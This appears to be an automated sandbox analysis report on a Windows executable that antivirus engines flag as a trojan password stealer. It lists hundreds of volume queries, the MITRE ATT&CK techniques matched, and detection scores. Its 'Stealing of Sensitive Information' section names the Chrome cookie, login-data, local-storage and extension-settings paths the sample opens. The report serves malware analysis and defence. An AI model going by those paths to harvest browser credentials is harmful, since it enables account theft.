Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_sqlite3.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_hashlib.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_socket.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\select.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_ssl.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\_queue.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\unicodedata.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ecb.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ecb.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cbc.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cbc.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cfb.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_cfb.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ofb.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ofb.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ctr.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_raw_ctr.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Util\_strxor.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Util\_strxor.pyd VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeQueries volume information: C:\Users\user\Desktop\4Vp6Xc8SFr.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8F8900 cpuid 0_2_00007FF7DA8F8900
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8DB4E0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,0_2_00007FF7DA8DB4E0
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeCode function: 0_2_00007FF7DA8F4D70 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,0_2_00007FF7DA8F4D70

Stealing of Sensitive Information

barindex
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome SxS\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknnJump to behavior
Source: C:\Users\user\Desktop\4Vp6Xc8SFr.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.logJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsWindows Management Instrumentation1
DLL Side-Loading		11
Process Injection		11
Process Injection		1
OS Credential Dumping		2
System Time Discovery		Remote Services1
Archive Collected Data		Exfiltration Over Other Network Medium11
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory21
Security Software Discovery		Remote Desktop Protocol1
Data from Local System		Exfiltration Over Bluetooth1
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
Obfuscated Files or Information		Security Account Manager1
Remote System Discovery		SMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration3
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
Timestomp		NTDS1
System Network Configuration Discovery		Distributed Component Object ModelInput CaptureScheduled Transfer14
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script1
DLL Side-Loading		LSA Secrets1
File and Directory Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain Credentials23
System Information Discovery		VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
4Vp6Xc8SFr.exe46%ReversingLabsWin64.Trojan.Wasp
4Vp6Xc8SFr.exe61%VirustotalBrowse
4Vp6Xc8SFr.exe100%AviraTR/PSW.Agent.ypbdq

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\_MEI52202\Crypto\Cipher\_ARC4.pyd0%ReversingLabs
